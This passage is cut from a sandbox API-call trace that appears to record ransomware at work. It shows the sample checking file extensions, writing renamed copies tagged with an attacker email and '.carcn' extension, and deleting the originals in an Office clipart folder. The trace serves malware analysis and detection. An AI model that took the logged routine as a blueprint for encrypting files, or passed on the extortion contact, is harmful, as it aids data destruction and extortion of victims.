returned 4 [0296.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.172] lstrlenW (lpString=".rar") returned 4 [0296.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.172] lstrlenW (lpString=".bz2") returned 4 [0296.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.172] lstrlenW (lpString=".7z") returned 3 [0296.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0296.173] lstrlenW (lpString=".dbf") returned 4 [0296.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0296.173] lstrlenW (lpString=".1cd") returned 4 [0296.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0296.173] lstrlenW (lpString=".jpg") returned 4 [0296.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0296.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0296.173] lstrlenW (lpString=".doc") returned 4 [0296.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.173] lstrlenW (lpString=".docx") returned 5 [0296.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.173] lstrlenW (lpString=".pdf") returned 4 [0296.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.173] lstrlenW (lpString=".xls") returned 4 [0296.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.173] lstrlenW (lpString=".xlsx") returned 5 [0296.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.173] lstrlenW (lpString=".ppt") returned 4 [0296.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0296.173] lstrlenW (lpString=".zip") returned 4 [0296.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.173] lstrlenW (lpString=".rar") returned 4 [0296.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.173] lstrlenW (lpString=".bz2") returned 4 [0296.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.174] lstrlenW (lpString=".7z") returned 3 [0296.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0296.174] lstrlenW (lpString=".dbf") returned 4 [0296.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0296.174] lstrlenW (lpString=".1cd") returned 4 [0296.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0296.174] lstrlenW (lpString=".jpg") returned 4 [0296.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.201] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0296.201] lstrlenW (lpString="BD19582_.GIF") returned 12 [0296.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.202] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=15733) returned 1 [0296.202] CloseHandle (hObject=0x358) returned 1 [0296.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0296.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.202] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.202] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0296.203] GetLastError () returned 0x0 [0296.203] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x3d75, lpOverlapped=0x0) returned 1 [0296.204] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x3d80, lpOverlapped=0x0) returned 1 [0296.206] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.206] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.206] SetEndOfFile (hFile=0x388) returned 1 [0296.207] CloseHandle (hObject=0x388) returned 1 [0296.207] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.207] SetEndOfFile (hFile=0x358) returned 1 [0296.208] CloseHandle (hObject=0x358) returned 1 [0296.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0296.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0296.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0296.209] lstrlenW (lpString=".doc") returned 4 [0296.209] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0296.209] lstrlenW (lpString=".docx") returned 5 [0296.209] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0296.209] lstrlenW (lpString=".pdf") returned 4 [0296.209] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0296.209] lstrlenW (lpString=".xls") returned 4 [0296.209] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0296.209] lstrlenW (lpString=".xlsx") returned 5 [0296.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0296.209] lstrlenW (lpString=".ppt") returned 4 [0296.209] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0296.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0296.209] lstrlenW (lpString=".zip") returned 4 [0296.209] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0296.209] lstrlenW (lpString=".rar") returned 4 [0296.209] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0296.209] lstrlenW (lpString=".bz2") returned 4 [0296.209] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0296.209] lstrlenW (lpString=".7z") returned 3 [0296.209] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0296.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0296.209] lstrlenW (lpString=".dbf") returned 4 [0296.209] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0296.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0296.209] lstrlenW (lpString=".1cd") returned 4 [0296.210] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0296.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0296.210] lstrlenW (lpString=".jpg") returned 4 [0296.210] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0296.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0296.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0296.210] lstrlenW (lpString=".doc") returned 4 [0296.210] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0296.210] lstrlenW (lpString=".docx") returned 5 [0296.210] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0296.210] lstrlenW (lpString=".pdf") returned 4 [0296.210] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0296.210] lstrlenW (lpString=".xls") returned 4 [0296.210] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0296.210] lstrlenW (lpString=".xlsx") returned 5 [0296.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0296.210] lstrlenW (lpString=".ppt") returned 4 [0296.210] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0296.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0296.210] lstrlenW (lpString=".zip") returned 4 [0296.210] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0296.210] lstrlenW (lpString=".rar") returned 4 [0296.210] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0296.210] lstrlenW (lpString=".bz2") returned 4 [0296.210] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0296.210] lstrlenW (lpString=".7z") returned 3 [0296.210] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0296.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0296.211] lstrlenW (lpString=".dbf") returned 4 [0296.211] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0296.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0296.211] lstrlenW (lpString=".1cd") returned 4 [0296.211] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0296.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0296.211] lstrlenW (lpString=".jpg") returned 4 [0296.211] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0296.211] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.211] lstrlenW (lpString="BD19695_.WMF") returned 12 [0296.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.211] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=12982) returned 1 [0296.211] CloseHandle (hObject=0x358) returned 1 [0296.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0296.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.212] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.212] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0296.213] GetLastError () returned 0x0 [0296.213] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x32b6, lpOverlapped=0x0) returned 1 [0296.215] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0296.216] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.216] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.216] SetEndOfFile (hFile=0x388) returned 1 [0296.216] CloseHandle (hObject=0x388) returned 1 [0296.217] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.217] SetEndOfFile (hFile=0x358) returned 1 [0296.218] CloseHandle (hObject=0x358) returned 1 [0296.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0296.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0296.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0296.219] lstrlenW (lpString=".doc") returned 4 [0296.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.219] lstrlenW (lpString=".docx") returned 5 [0296.219] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.219] lstrlenW (lpString=".pdf") returned 4 [0296.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.219] lstrlenW (lpString=".xls") returned 4 [0296.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.219] lstrlenW (lpString=".xlsx") returned 5 [0296.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.219] lstrlenW (lpString=".ppt") returned 4 [0296.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0296.219] lstrlenW (lpString=".zip") returned 4 [0296.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.219] lstrlenW (lpString=".rar") returned 4 [0296.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.219] lstrlenW (lpString=".bz2") returned 4 [0296.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.219] lstrlenW (lpString=".7z") returned 3 [0296.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0296.219] lstrlenW (lpString=".dbf") returned 4 [0296.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0296.219] lstrlenW (lpString=".1cd") returned 4 [0296.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0296.219] lstrlenW (lpString=".jpg") returned 4 [0296.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0296.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0296.220] lstrlenW (lpString=".doc") returned 4 [0296.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.220] lstrlenW (lpString=".docx") returned 5 [0296.220] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.220] lstrlenW (lpString=".pdf") returned 4 [0296.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.220] lstrlenW (lpString=".xls") returned 4 [0296.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.220] lstrlenW (lpString=".xlsx") returned 5 [0296.220] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.220] lstrlenW (lpString=".ppt") returned 4 [0296.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0296.220] lstrlenW (lpString=".zip") returned 4 [0296.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.220] lstrlenW (lpString=".rar") returned 4 [0296.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.220] lstrlenW (lpString=".bz2") returned 4 [0296.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.220] lstrlenW (lpString=".7z") returned 3 [0296.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0296.221] lstrlenW (lpString=".dbf") returned 4 [0296.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0296.221] lstrlenW (lpString=".1cd") returned 4 [0296.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0296.221] lstrlenW (lpString=".jpg") returned 4 [0296.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.221] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.221] lstrlenW (lpString="BD19827_.WMF") returned 12 [0296.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.222] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=9710) returned 1 [0296.222] CloseHandle (hObject=0x358) returned 1 [0296.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0296.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0296.222] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.222] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0296.223] GetLastError () returned 0x0 [0296.223] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x25ee, lpOverlapped=0x0) returned 1 [0296.225] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x25f0, lpOverlapped=0x0) returned 1 [0296.226] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.226] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.226] SetEndOfFile (hFile=0x388) returned 1 [0296.275] CloseHandle (hObject=0x388) returned 1 [0296.275] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.275] SetEndOfFile (hFile=0x358) returned 1 [0296.276] CloseHandle (hObject=0x358) returned 1 [0296.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0296.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0296.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0296.277] lstrlenW (lpString=".doc") returned 4 [0296.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.278] lstrlenW (lpString=".docx") returned 5 [0296.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.278] lstrlenW (lpString=".pdf") returned 4 [0296.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.278] lstrlenW (lpString=".xls") returned 4 [0296.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.278] lstrlenW (lpString=".xlsx") returned 5 [0296.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.278] lstrlenW (lpString=".ppt") returned 4 [0296.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0296.278] lstrlenW (lpString=".zip") returned 4 [0296.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.278] lstrlenW (lpString=".rar") returned 4 [0296.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.278] lstrlenW (lpString=".bz2") returned 4 [0296.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.278] lstrlenW (lpString=".7z") returned 3 [0296.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.278] lstrlenW (lpString="C:\\Program Files\\Microsoft 